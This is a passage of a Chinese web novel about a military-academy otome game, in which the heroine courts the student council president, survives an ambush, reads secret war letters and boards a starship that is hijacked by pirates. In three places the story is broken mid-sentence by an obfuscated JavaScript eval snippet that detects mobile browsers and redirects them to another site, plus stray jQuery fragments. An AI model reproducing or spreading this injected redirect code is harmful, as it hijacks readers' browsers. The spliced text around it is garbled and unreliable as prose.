“下课了,”夏林的课桌被人用指尖敲了敲,一个温润的男声从边上响起,“回回神。” 夏林没有丝毫被发现上课走神的尴尬,面色如常地问:“你接下来要去哪里?” “学生会还有点事,我要回办公室。”纪承英动作顿了一下,侧过头看她:“你也来?” “……我等一会再去。” 夏林犹豫了一下,给出了这个回答。 她之前说的七天本来是想趁这个时间调查一番那个谜团重重的“236幽灵事件”,也要刷刷纪承英的好感度。 可经过她一天的观察,纪承英的军校日常极其固定。他不是在上课就是在学生会办公室处理事情,如果下课时间有其他同学找他搭话,他会礼貌地回答其中那些有意义的问题,也会同样礼貌地掐断任何无意义闲聊内容的话头。 堪称是高效,单一,无懈可击的军校生活。 ……看着看着,隐约有点熟悉,似乎和夏林自己在现实里的军校生活模式一模一样。 于是一天都过去了,两人的对话还停留在人机阶段,好感度半点没涨。 这可不太行。 但现实里都是别人来跟她表白,之前的白川也会主动来和她说话。现在要把夏林换成主动方了,她还真有点无从下手。 “那我先走了。”纪承英看了她一眼,转身离开了已经没什么人的教室。 等纪承英离开教室后,夏林又在原地安静地思考了好一会。 她觉得自己琢磨出了一点攻略路线。 如果纪承英和她很相似,那能引起她好感的,或许也能获得纪承英的好感。 那么,应该是一些对纪承英来说算得上有意义的事……比如那个“236幽灵事件”扑朔迷离的现况。 察觉到时候不早,夏林从座位上站起身,走出了教室边想边往外走。 夕阳下沉,走廊上窗框的影子被拉得很长,一格一格有序地映在墙上,像是通往未知的阶梯。 无人注意到的角落,夏林身后走廊上的监控摄像头表示启动中的绿灯一个一个悄无声息地暗了下来。 走廊尽头的拐角恰好在背阴处,此时没到亮灯的时间,显得一片昏暗。 就在夏林的脚步踏入阴影的一刹那,身后“嗖”的一道破空之声传来。 夏林后背的寒毛瞬间竖起,还未及回头,危急时刻大脑条件反射地让她向下蹲躲避。 那支利箭几乎是堪堪地掠过了她的头顶,然后扎入前方的墙壁。几根因动作而扬起的金色断发飘落在了地上。 一波未平一波又起。夏林还没看清墙上是个什么箭,心底又警钟大作让她往后躲过了一记横腿。 一件宽大的蓝白制服外套朝她头上笼下。 夏林劈手挥开,抬起的那只手却被来人一把握住了手腕,然后往上大力一带。 四目相对。 夏林刚开口说了一个字:“你……” 来人的另一只手从衣袖中滑出了一个注射器,朝着金发少女雪白的脖颈狠狠扎去。 22. 纪承英3 注射器的针头在距离夏林脖颈分毫之处像是遇到了什么看不到的阻力,再也无法前进一步。 此时夏林自然也发现了。她曲起腿狠狠往前一踢。 对方松开了抓住夏林的手,往侧边疾退了两步躲开了这一下,恰好从拐角到了走廊内。 如血般的残阳余晖落在那人的张扬红发上,显得整个人愈发邪魅了几分。 “小学妹,这腿有点阴啊。” 说完这句话的司昊泽弯腰捡起了脚边的外套,随手抖了几下,不在意地披在了一边肩膀上。 夏林沉声回道:“对付什么人用什么招。” 司昊泽耸了耸肩,认输似的一摆手:“今天感觉有些不对,走了。”话落就自顾自地转身,朝着夏林来时的走廊往回走。 夏林一愣,刚欲抬步追去,却感觉到了一个来自身后的阻力。 方才在她和司昊泽缠斗时突然出现的秦封在身后冲她无声地摇了摇头。 殊不知,正前方本该离开的司昊泽脚步略微停留了一下。 他用余光瞥见后方的金发少女对着毫无一人的墙角方向转过了头。 联想到方才好像有透明人用力抓住了他拿针筒的手的感觉……高大的红发青年一挑眉,然后快步离开了。 夏林因为回头恰好没有看见,秦封却是看见了司昊泽的那一停留,眼眸微沉。 “……刚才,谢谢了。” 夏林的声音唤回了他的思绪。秦封重新将视线落到了夏林身上,却发现对方望着他的表情十分复杂。 他抿了下唇,避开了夏林的视线,低声道:“司昊泽不是什么简单的人物。你不要掉以轻心,他很危险。” “……如果我在这个游戏中死亡,会怎么样?” 说完这句话的夏林感觉到放在她肩膀上的那只手骤然加重。 “你不会有那样的结局。” 下意识抬眼四目相对的瞬间,夏林感觉到了这句话里的沉重。 那双注视着她的漆黑眼眸没有一丝光亮,脸上的表情分明与平时别无二致,此时却莫名觉得…… 夏林感觉到自己肩膀上的力道一松。 她突然心领神会:“那么只要我遇到危险,你就会出现?” 秦封一语道破她的言下之意:“你要是因为想找我出来而‘主动遇到危险’,我劝你不要这样做。” “……”被戳穿心思的夏林沉默。 秦封瞥了她一眼,开口说:“这次你选择的攻略对象,和你有点像。” 这点被秦封发现也很正常。毕竟在现实的军校中,作为竞争对手,他也算是对她的军校生活模式最熟悉的人。 但夏林没忘记之前秦封身上的种种疑点,这个话题她保持沉默。 有白川的前车之鉴,她想听听秦封接下去要怎么说。 “至今为止,在外面向你表白过的有21人,这么多人你都拒绝了,什么样的人和你表白,你会接受?” 先不提这句话的内容如何,夏林对秦封说出的这个准确数字愣了一下。 ……实际上她自己也没有数多少人跟她表白过,但她有个特别爱听她八卦的朋友。 可她记得有不少次找她表白是发生在放学后挺迟的时间,那时候除了在等她一起回去的那个朋友,周围应该没有第四人。 秦封为什么会知道? 夏林怪异地看了对面人一眼,正要开口,却听见对方说: “既然这次的攻略对象和你有点像,不如好好思考这个问题,能够进展更快。” ……是这么个道理,她前面自己也发现了。 “走了。” 秦封说完这句话就干脆利落地凭空消失了,速度之快夏林都还没来得及开口问前一个问题。 又不是在生什么气。 留在原地的夏林感觉有些莫名。 · 第二天照常按照系统指示去天宿军校上课,走到指定教室后夏林就开始思考攻略。 为了提高效率,昨天后来她一直在用学院光脑仔细查“236幽灵事件”的有关资料。 话虽是这么说,实际上军部文件她也没权限看,只能查看大量的民间新闻、留言还有各个专业领域人士或真或假的“技术分析”等等。 结合当时的路人实拍影像,夏林越看越觉得那个瞬间消失的军舰不像是这个时代的技术产物。 毕竟是游戏背景,是不是不能太相信科学了? 夏林想起了这游戏叫《奇迹军校》。 上面教官叽里咕噜说了什么她没仔细听,直到一只手放在了她的眼前。 视线往上,金发碧眼的学生会长唇边噙着一抹标志性的笑意,嗓音温柔: “夏林,与我一组吗?” 这笑意未达眼底,感觉不是什么善意的邀请。 夏林用余光瞥了一眼周围。 这一节课是体能课程。由于她目前都在和攻略对象一同行动,为了多观察一下纪承英,夏林一开始就没有考虑跳过内容的选项,不知道这是不是什么关键强制剧情。 但她看出来了,现在似乎是到了两两对练的环节。 由于生理结构和先天力量上的差异,这种对练其实鲜少会邀请异性。不过夏林之前现实里也有过几次和男生对练的经历。 “可以。”夏林点了点头,伸出手虚握了一下。 纪承英收回了手,想了想说:“定个点到即止的标准吧。如果我抓住你的双手或者你抓住我的一只手,就算决出胜负。” 这是特意给她降低了标准。 夏林点了点头:“可以。” 两人朝着体能教室的中央走去。 早在纪承英朝她发出邀请的时候,同班的其他学员几乎都在悄悄注意着他们这边了。 眼下两人直接占据了中间最大的空间,也没什么人出来反对。 可能都在忙着占据前排位置吃瓜。 “女士优先。先攻,请。”纪承英站在原地做了个邀请的姿势。 对面的夏林并未着急出手,而是仔细观察了一下对方。 这个对练她倒也不是随意答应的。反而她必须得赢才行。 夏林之前有打听到一个消息,一年级的那个模拟实战演练的方案策划者正是这位学生会长纪承英。 之前她分析出这个方案的策划者比起社会主流推崇的机甲至上,似乎更看重军校生个人的综合素质。 夏林看了一眼纪承英那头“妨碍战斗”的长发,想到了游戏内的军校不可以披头散发的传闻。 在他的强项赢过他的话,或许能涨好感度? 在某一个呼吸的瞬间,夏林忽然动了。 她高速位移迅速拉进了两人的距离,近身后灵巧地跃起,利用身体的回心力猛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054823|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地朝纪承英的臂膀横踢而去。 这一下来得又猛又快。纪承英只堪堪来得及抬起手臂防御。可在他的手臂接触到对方的那一瞬间,他微微睁大了眼。 看似劲风十足的这一回身踢腿挡下后实际上松松垮垮的,几乎没什么力气。 然后下一秒,他胸前被踹了结结实实的一脚。 纪承英连连向后退了好几步,捂着胸口表情愣了一下。 原来夏林之前那一下踢只是佯攻,真正进攻是后面的另一只脚。 这位金发碧眼的学生会长这回才认真地看向对面。 一击成功就迅速退到安全距离的夏林冲他招了招手,示意他进攻。 ……又不是什么回合制。 纪承英眯了眯眼,少有地感觉到自己身上的好战因子蠢蠢欲动。 下一瞬间,两人同时动了起来。 本来还在小声议论的围观学员不自觉地屏住呼吸,睁大眼睛看着中央的战况。 夏林与秦封两人不断变换身姿,进攻目的明确也就导致了防守范围也很明确。两人都在尽可能地不让对方接触到自己的手腕,偏向利用腿部或者是身体进行进攻。 时间不知不觉地流逝,直到下课的铃声响起,两人这一场居然还没分出胜负。 也在围观群众里的教官有些可惜地多看了几眼,走进场内分开了两人。 “好了好了,你们俩打得不错,但是下课了。都散了散了。”最后一句是教官对着其他看得热血沸腾想围上来说话的学员说的。 一整节课的近身搏击对练,而且对手又非常不好惹。纵是夏林也有些精疲力竭。 她此时呼吸急促,额前的金发也因为流汗一簇一簇地黏在额头上,十分难受。 夏林伸手把刘海撩到了后面。结果一抬眼,另一边的纪承英也刚好在做和她类似的动作。 两人还恰好对视,互相愣了一下。 同样上衣几乎被汗浸湿的纪承英放下了手,往夏林这边迈了一步像是想找她说些什么,只是他还没来得及开头,外面有一个男生急急忙忙地跑来: “会长!你的光脑上有紧急通讯!” 纪承英脚步一顿,回身从男生手里接过了光脑,一看上面的讯息,表情骤变。 他甚至没顾得上取回他的外套,就匆忙快步出了体能训练教室。 被丢下的夏林沉默了一会,唤出系统好感度窗口看了一眼。 35/100。 金发少女站在原地望着这个俨然不动的数字。 夏林觉得自己很卖力了,而且看纪承英刚才的表情也比之前生动。 怎么这好感度就是一点都不涨呢? 夏林又在原地待了一会,等自己的气息完全平静下来了才抬步打算离开。 结果一抬眼忽然看见边上的角落似乎有个什么东西。 她走近一看。 是一个金色的发环,上面刻了羽翼图案。 ……好像是纪承英的。 夏林拿在手里看了几秒,顿时恍然大悟。 虽然学生会长的外套被他的跟班们取走了,但“灰姑娘的水晶鞋”还是落到了她的手里。 闲着没事上门找人叫打扰,但主动归还物品名正言顺,一定不会让人反感。 是机会! 看来努力还是有收获的。 夏林默默想道。 23. 纪承英4 这一天从傍晚开始就下起了小雨,淅淅沥沥的。刚让人要习惯了这节奏,忽然老天脾气一转,不一会就变为了倾盆大雨。 天宿军校的学生会长果然是有特权的。纪承英的宿舍不在男子宿舍区,而是单独的一栋两层小别墅。 这对在门口等了几个小时的夏林来说是件好事。至少不会被来回的NPC们像看珍稀动物一样行注目礼。 夏林倚靠在门边,低头看了一眼光脑上显示的时间。 再过一个小时就到宿舍门禁时间了。她还要在这里继续等吗? 在攻略白川的时候她可以不管校规,但纪承英明显是个标准的优等生,还是学生会长。如果她违反校规,或许会更难获得好感度吧? 刚想到这,雨幕中,一道人影由远及近,像是从一片模糊的灰暗中逐渐浮现出来。 起初夏林并没有在意,因为这栋小别墅的位置虽然偏僻,在她等待的几个小时里也偶有学生路过。 直到那人走到近处,身形渐渐变得清晰。雨水顺着黯淡的白金发丝滴落,滑过面颊,最后从下巴尖儿坠入完全湿透的衣领。 夏林一怔,认出了来人:“纪承英?” 她跑入雨中到其身边连续喊了几声都没有得到回应。 宛如一个设定了目的地的机器人一般,纪承英缓缓地从雨中走到自己的宿舍门前。雨水顺着他的衣角滴落,在地面上汇成了一小滩水渍。 夏林在旁边看着他伸出手用指纹打开了门锁,开门走入。 她正在门口犹豫去留,突然从里面传来了好大一声重物跌落在地板上的声音。 “纪承英?” 夏林下意识地往内一看,方才还笔直走进门的人此时已经在地板上摔得四仰八叉。 她连忙过去查看,结果伸出的手一接触到对方,就感受到了明显高于常人的热度。 …… 有移动白川的体验在前,夏林盯着地上比她高一个头的纪承英看了几秒,还是放弃了搬动他的想法,转而径直地走进了屋内。 一楼看上去都是生活区。然而夏林在客厅和厨房的柜子里都没翻到任何医疗相关的设备物品,最终还是把目光投向了二楼。 未经主人允许进入私人空间多少还是有点尴尬。但此时情况紧急也顾不上那么多了。 二楼只有三个房间。医疗物品放在训练室的可能性是最大的,于是夏林就打开了看上去空间最大的那个房间。 出乎意料,那居然是一间书房。而且除了一整个柜子的存储卡之外,还存放了不少颇为少见的纸质资料和书籍。 正对着门的书桌上,杂乱的放着几封拆开了的火漆信件。 纸质信件在这个时代存在的意义就是传递那些不能留下痕迹的讯息。 夏林忽然想到了之前情报学教官说过的这一句话。 不过这地方明显没有医疗用品,她只在门口多望了几眼桌上的纸质信就重新关上了门。 幸好打开的第二间房就找到了她久寻不得的治疗仪和药品。 夏林拿到手之后给纪承英打了一针退烧,又使用了治疗仪。 这位进门就倒地不醒至今的学生会长呼吸肉眼可见的平缓了很多,但是热度似乎还有一些。 夏林收回了放在纪承英额头上的手,然后视线落到了对方身上全湿的衣服上。 她迟疑了一下,把手探向了对方衬衫的第一颗扣子。 身后冷不丁地响起一道嗓音。 “你干什么?” 夏林看着冷不丁不知道从哪里冒出来的秦封,又回头看了一眼后面紧闭的门,下意识开口:“你怎么进来的?” “我不进来的话,你又打算做什么?”秦封说。 “我?”夏林敏锐地察觉到对方口气似乎不太好,但又不知道为什么,“给他脱衣服。”夏林如实答道。 “下半身也脱?” 夏林这回听明白了对方平静无波的语气到底在阴阳怪气什么,于是皱眉:“你在乱七八糟想什么?这只是个病人。” “有这么多意见的话不如你来?请。”夏林对秦封指了一下地上的纪承英。 高大的黑发男人一听这话,鼻翼翕动了一下,皱着眉在原地停了几秒,像是在做什么心理建设。 又在夏林即将开口催促前蹲下了身。 夏林看了一眼肉眼可见在嫌弃对方的某人,像是才想起了什么,开口道:“对了,你来得正好,和我一起把他送到那边的沙发上吧。总丢在门口也怪怪的。”话落也跟着一起蹲下了身打算抬起纪承英的另一边肩膀。 此时秦封已经脱完了纪承英雨中淋湿的上半身衣物。 结果她还没碰到人,身旁高大的男人已经抢先一步把人拽了起来。 “不用你。” 秦封只丢下了这一句,就自顾自拖着人往客厅走去。 然后往沙发上重重一丢。 夏林觉得自己仿佛听到了纪承英吃痛的闷哼声,连忙过去拿着治疗仪又检查了一遍,看看是不是造成了什么二次伤害,边看边斥责:“就不能轻点吗?” “死不了。”秦封瞥了一眼沙发上似乎有了一些苏醒迹象的人,开口道: “我给他换衣服。你上去找点衣服来放到楼梯口就行,别下来。” 夏林嘴角一抽,实在是跟他懒得解释:“行。” 话落她便转身上了二楼。由于之前已经知道有一间是书房有一间是健身室,于是就直接进了最后一个屋子随手拿了几件衣物放到了秦封所说的楼梯口。 放完之后,夏林本来想就在楼梯上坐着等,但万一那脑子不知道哪里出了问题的秦封又要乱讲她偷听,于是多一事不如少一事,她重新转身上楼。 脚步在三间房门口犹豫了一下,还是开门进了书房。 对方才看到的那些纸质信件说不好奇肯定是假的。 现实里她或许会斟酌一下是不是违反了什么隐私法,但这是游戏。 夏林走到书桌前,拉开椅子坐了下去。 信封都是已经拆开的,甚至里面的信纸也已经被取出来叠在了另一边。 她看了一眼信封后的封口火漆。上面印着的纹章图样是两侧对称的羽翼上方立着两把交叉的利剑。 夏林几乎是立刻想到了纪承英平时戴在领口处的那一个金色羽翼徽章。 这次她恰好身上带了光脑,于是打开将图案扫描了进入匹配搜索。 羽翼和利剑的徽章代表的是帝国军部。单独的羽翼徽章是帝国有名的第一将军纪家的家徽。 虽然她对纪承英的身份已经有所猜测,但现在也算是实际得到了证实。 不过,将军家的天之骄子能因为什么事而这样失魂落魄地淋雨回来? 夏林将目光落在了旁边大喇喇摊开的信纸上。 帝国军部来的纸质信件…… “星历946年3月21日,第468回殿前会议。EP46752在30日内发生12起星盗抢劫事件,帝国商队损失达数十亿,商人们联名上诉请求帝国增派驻军明确EP46752领土治安权……” “星历946 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061694|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年5月30日,第472回殿前会议。EA435于EP46752外轨道成功捕获未知星盗团所属星舰2艘,制式机甲18台,俘虏189名。经审问得知,所有装备均属联盟军提供,有已证明真实的通讯记录为证。太阳当即震怒,狐狸伺机提出扩大战线范围,将EP46752及4颗前线和平警戒星球重新划分为交战区,我方提出反对……” “星历946年9月28日,第486回殿前会议。近日边境纷乱频发,狐狸再次提出重新划分交战区……本日议程暂停。若再无明确策略方向,扩大战线将为大势所趋。” 最后一封信上开头记录的时间是三天前。正文极短,但后面附上了许多目前的边境战况资料。 夏林看完后沉默了一下,觉得这游戏多少还是有点不真实的。 这种绝密程度的情报资料是能就这样随便放在书房桌子上的吗?这是她能看的吗? 但是她看都看了,还看完了。 …… 夏林把目光落到了“我方提出反对”这几个字上,垂眸思索了片刻,拿起了旁边的笔。 夜深人静,室内只剩下笔尖滑过纸张的沙沙声。 · 次日,天还是蒙蒙亮。夜色与晨曦交织成一幅朦胧的画卷。 纪承英从沙发上掀开毯子坐起身,隐约觉得自己的后颈处有些莫名的疼痛。 他低头看了一眼自己身上的陌生衣物和盖在身上的毯子,愣了一下。脑子里开始回想昨天的事。 他记得自己和夏林在体能课上畅快淋漓地打了一场,然后就被通讯叫回了家…… 想到那之后的事。这位金发碧眼的学生会长脸上出现了一抹从未在人前表露过的沉重。 蓦地,目光瞥见了摆在客厅茶几上的金色发环,旁边还摆着明显使用过的治疗仪及药品。纪承英一怔,又回忆起了些什么。 昨天他昏昏沉沉地回来后,朦胧之中好像见到了夏林的身影。 那头比他还要耀眼醒目的金色长发,在这个天宿军校内应该也只属于一个人。 纪承英拿起了那个金色发环,站起身朝着楼上走去。 这么想来,昨天是夏林照顾了他?不过他昨天有段时间好像快要清醒了,但后来不知为何又睡过去了。 纪承英刚踏上二楼,表情骤然一变。 书房的门开着。 他快步走到明显被人动过的书桌前,拿起了上面的信纸。 瞥见后面新添的陌生字迹的同时,纪承英的眉头先是皱起,然后随着逐行阅读深入,表情逐渐转为了深思。 捏着手里信纸的指尖微微收紧。纪承英冷静地唤出了光脑,投影出的光屏开始播放此处昨晚的监控录像。 画面中,看到拿出光脑对准信件的金发少女,纪承英的双眼危险地眯起。 然后画面中的夏林端正地在桌前坐下,握着笔在他手里的纸张下写下了一行行内容,中间间或停笔垂眸深思,亦或是重新翻看了他其他信件上记录的情报。 从进入到离开,总计1小时55分47秒。 金发碧眼的学生会长关闭了监控录像,表情凝重。 他打开自己的光脑,快速输入了一些什么,结束正要发送之际,视线瞥见了旁边的信纸。 即将触到发送按钮的指尖迟疑了一下。 几分钟后,纪承英关闭了这个编辑中的光脑页面,转而拨出了一个通讯。 对方接的很快。 “怎么了?小英。” 有些吊儿郎当的男声从对面传来。 24. 纪承英5 接到纪承英通讯的时候,夏林已经起了床,正在对着系统的好感度窗口显示的数据沉默不语。 纪承英:【35/100】 在过去的两天里,她每天去纪承英那边报道。一起上下课,一起吃饭,跟他一组对练,还尽心尽责地照顾了生病的他。 但是好感度愣是一点都不涨。 到底是哪里出了问题呢?夏林抿着唇思考。 难道是人还没醒?这么虚弱吗?昨晚上她是不是该留下一些是她来过的提示呢? 但她在书房里留下了这么明显的痕迹,那位学生会长肯定会看一下监控的吧?她昨天有留意到书房是有监控的。 ……就算是对她随意查看军部机密资料感到不满,这个好感度数值多少也该有点变化才对。 难道是在她不知道的时候升了又降了? 正思索着,看到光脑上来了通讯,夏林没看就直接点开了。 “夏林,今天可以来帮我一个忙吗?” 从光屏内传来了那个熟悉的温柔嗓音。夏林怔了一下,视线往上,果然是纪承英。 看来人已经醒了。瞧着状态不错,表情态度和之前别无二致,让人不明白他在想些什么。 ……非常完美的面具。 夏林略一思索,满口答应:“当然可以。” “那就现在来校门口找我吧。”纪承英简略地说完,就冲她礼貌地点了点头,断开了通讯。 夏林虽然觉得有些莫名,但这明显是个额外的剧情展开,还是得去看看。 等到夏林来到天宿军校门口,那边已经停了一个飞行器。旁边站着的人除了纪承英之外还有一个意想不到的来客。 司昊泽。 夏林眼皮跳了一下。 红发青年倒是丝毫不介意来人一看到他就有些郁结的表情,在那里热情地冲她招手:“小学妹,这里这里。” 夏林走近后一眼没看司昊泽,对纪承英问道:“他也去?” 没等纪承英回答,司昊泽就抢先嚷嚷:“喂喂,什么叫我也去?我们今天去的是……噢原来夏林你还不知道啊?你等会就知道了,你们今天可是因为我才能去那儿的哦。” 司昊泽在那自问自答语速飞快,话落还冲她眨眨眼。 已多次见识过此人另一面的夏林完全不吃这一套,无视得很彻底。 “你们两个,关系很差?”在一旁围观了全过程的纪承英忽然开口。他对着司昊泽挑了下眉:“挺少见的。” “娇艳欲滴的玫瑰总是带刺的。”司昊泽无辜地耸了耸肩。 纪承英笑了下。 夏林看着这番互动,心想这两人交情甚好的传言应该不是假的。 但是…… 她将视线落在了前方正向驾驶座走去的司昊泽身上。 对方似乎对视线极为敏感,几乎是一瞬间就察觉到了,然后转头对上了夏林的视线,wink了一下。 夏林抿了抿唇。 总觉得有些不安。 三人坐上了飞行器径直出了天宿军校。随着窗外景色不断变换,夏林发现他们出了城,还在继续朝外高速移动。 “我们这是去哪里?”夏林回头问。 “星际航站。”旁边的纪承英答道。他低头在光脑上动了几下手指,这边夏林就发现自己收到了一份资料。 在夏林点开资料查看的时间里,纪承英开口解释: “天宿军校的三年级毕业生在毕业前都要求完成一定数量的军队任务,定位类似于普通学校的‘实习’。大多数都是些侦查类巡逻类任务,安全系数很高。” 夏林打开的资料上面正是明晃晃地写了“司昊泽”三个大字,难怪他方才说是因为他才能去那儿。 纪承英继续开口:“这次司昊泽接下的任务是巡逻类的。内容很简单,就是要求军校生携带军部的报警器伪装成普通乘客。如果一切正常的话,就是乘坐指定的星舰到达目的地,然后再返回,就结束了。” 他顿了一下,补充了一句:“不过假如遇到状况,军部也只要求军校生按下报警器,并没有战斗或是保护群众的要求。毕竟在没有毕业获得军籍之前,我们在帝国都算普通群众。所以安全系数都是很高的。” “这次的任务是我特别请求司昊泽接下的。那艘星舰的行程横跨了帝国和联邦双方的边境。近期边境线上星盗猖獗,虽然星盗基本上只抢夺物资,几乎不会伤害普通乘客。但与其他相比还是有更高的危险性。抱歉。”纪承英的最后一句是对着司昊泽说的。 驾驶座上的红发青年毫不在意地一摆手:“有两位高手一起帮我‘做作业’还有什么好担心的?” 纪承英重新看向夏林:“我们现在是去星际航站的路上,需要从这里搭乘星舰先前往边境线,然后再搭乘目标星舰进行任务。正如你方才所听到的,这个任务有一定的危险性,也是因为我个人的一些理由想参与进去。如果你想退出,等会可以自行驾驶这架飞行器返回。” 边境。星盗。 之前提到的两个关键词让夏林几乎是立刻联想到了书房里的那几封纸质信。同时也让她确定纪承英是有看到她写在背面的留言,才会今天邀请她参与今天的行动。 夏林几乎没有任何犹豫就答道:“我和你们一起去。” “谢谢你。”纪承英望着她,目光温柔得像一滩碧泉。 夏林在这道看似含情脉脉的目光中带着些许期待地唤出了游戏系统的好感度页面。 一看数值。35/100。 关闭。 金发少女默默地把脸朝向了窗外。 就这样吧。 · 抵达星际航站后,三人脱下军校制服换成日常休闲装,伪装成一起去外面玩的年轻人小团体坐上了飞向边境线的星舰。 任务上的指定航班是晚上9点出发。三人于晚上8点35分抵达了边境线上作为始发站的达克里亚星,也就是在任务的军方信息里代号为EP46752的星球。 帝国与联盟的战争给这颗边境星球带来的创伤是肉眼可见的。 从高耸的星际航站塔楼玻璃墙上望下去,近处是那些买不起昂贵星际船票逃离这个星球的贫困人群聚集地,简陋的临时住所与堆砌的各种废弃物随处可见;更远处是一望无垠的焦黄废土与隐约可见其中的断壁残垣。 夏林收回了复杂的目光,转过了身。 身后的星际航站由于造价高昂,受《宇宙公约法》保护,成为了战时唯一的安全点。战争让物资与军火的价值翻了数十倍,每一艘在这里停靠又离航的星舰都能带来巨大的利益。由于来往的乘客中不乏身价惊人的商 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065476|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贾与家底富裕的贵族,因此在航站楼的内部吃喝玩乐供应点一应俱全,里面繁华的景象与外面的荒凉仿佛不像是一个世界的产物。 “怎么了二位?脸上表情都这么严肃可不像是结伴出去玩的少爷小姐。” 司昊泽不知道从哪里买了三个冰激凌,走过来给他们一人发了一个。口味很统一,都是草莓的。 “吃点甜的,开心一点。”见两人都接过了,司昊泽才把手上属于自己的那一个送到唇边,咬了一大口。 然后表情立即扭曲了一下,整个人被冰得一哆嗦。 纪承英看着手里散发出香甜气息的冰激凌,直到尖端快要融化滴落下来才吃了一口,低低地开口:“我以前来过这里。” 他又咬了一口:“和现在……差别很大。” 夏林在旁边默不作声地听着,小口小口地吃着手里的冰激凌。 司昊泽吃的极快,几口就把一个冰激凌干掉了。他吃完后双臂往上舒展了一下筋骨,满不在乎地开口: “可不是嘛?毕竟我们和联盟已经开战11年了。最近虽然没什么大动静了,小摩擦还是有的。这颗星球上想跑的人早就都跑完了,剩下的都是跑不掉的可怜鬼和要钱不要命的贪财鬼。” 他说完后顿了一下,眯了眯眼似是无意间提起:“不过,最近在军校毕业生里有小道消息说,这个前方战线的范围似乎还要继续扩大。大家可都在竖起了耳朵死命打听,不想一毕业就去前线的部队里吃苦呢。” 没想到这个消息在军校里也已经有不少人知道了。 夏林回想了一下信件里写的内容。扩大战线的提议显然已经被提起不止一次,即使在前几次会议里没有通过,会后有风声传出似乎也正常。 “你呢,你也不想去前线吗?” 纪承英对这个充满试探意味的消息不置可否,倒是直接反问了司昊泽一句。 “我嘛……”那个桀骜不驯的红发青年罕见地没有立刻给出夏林预想中的那个答案,而是在眼中出现了一晃而过的迷惘。 要不是夏林一直有在注意,几乎都要以为是看错。 司昊泽露出了认真思考的神色,过了一会才答道:“也可以去吧。” 纪承英对这个留有余地的回答似乎也有些意外,他抬头看了司昊泽一眼:“我以为你会想去前线迅速积累战功,获得更高的军衔,然后……” “然后发家致富,娶到公主走向人生巅峰?”司昊泽笑嘻嘻地抢过话头接过了下半句。 “……我可没这么说。”纪承英瞥了他一眼,暗含警告,“帝国唯一的公主目前才6岁。” “随便说说,就随便说说,”司昊泽摆了摆手。他收起了调笑的表情,重新正色道,“去前线保家卫国积累战功听起来确实很适合我这样帅气的人,但若是有机会呆在后方,也未必不能创造属于我的荣耀。” “我这双手比起握冰冷的机甲操纵杆,难道不是更适合牵起女士的纤纤玉手吗?” 他在说这话的时候已经在悄悄朝着夏林那边靠近,像是想在说完的时候趁机牵起夏林的手。 结果中途被十分了解好友脾性的纪承英在中间一拦。 金发碧眼的学生会长横了他一眼,扭头对刚好吃完冰激凌的夏林说: “时间差不多了,该去检票上星舰了。” 25. 纪承英6 根据这个乙女游戏剧情发展靠事件的规律,前面夏林在听到出发前纪承英跟她介绍说“有可能有遇上星盗的危险”时,基本已经确定100%他们这艘星舰会遇到星盗了。 但也没想到来得这么快。 方才那一下似乎是被其他星舰衔接登陆的巨震之后,光脑已经被信号干扰无法使用。 夏林在心里估算了一下。 这艘星舰满打满算才从星际港口起飞不到20分钟,应该是刚离开重力捕获圈进入宇宙。 这些星盗居然能嚣张到开着他们的星舰明晃晃地在边境线门口等着吗? “再说一次。全体乘客注意了啊,‘永恒号’已经被我们‘猎犬团’捕获了。劝你们乖乖地待在原地,我们只劫财,不害命。前提是你们都得听话。” 此时,星舰内部的全体广播又重复了一次。 再一次被确认的噩耗加剧了客舱内的恐慌。客舱往外的三扇自动门显然已被驾驶舱控制,同时关闭无法打开。有几个身强力壮的男子此时正在拿桌椅不停地砸门。 大多数乘客都拉着身旁的亲友缩在最近的阻挡物旁边,脸色苍白,表情或多或少都带着一些恐惧。 为了不让自己太过显眼,夏林三人也就近在座椅旁蹲了下来。司昊泽在摄像头拍不到的角度偷偷朝他们比了个手势,示意自己已经按下了那个不受干扰器阻碍的报警器。 看到这个手势,夏林稍稍有些安心。因为此时距离始发站达克里亚还不算太远,应该最多30分钟就会有边境线上的驻军赶来。 而这些星盗搬运星舰上的货物和收集乘客们的随身财物也需要一定的时间,或许能把这些星盗一网打尽。 蓦地,门口传来了动静。 三扇自动门同时打开,一个个戴着面具手持能量武器的星盗鱼贯而入。用武器恐吓了那几个壮汉退后之后,星盗们在前方站成了一排。 最前方的显然是他们的首领或者是小头目。那个身材高大,披着黑色斗篷的男人站在客舱前方,手里握着一把闪烁着寒光的能量枪。他透过面具传出的声音低沉而沙哑,带着一种令人不寒而栗的威严: 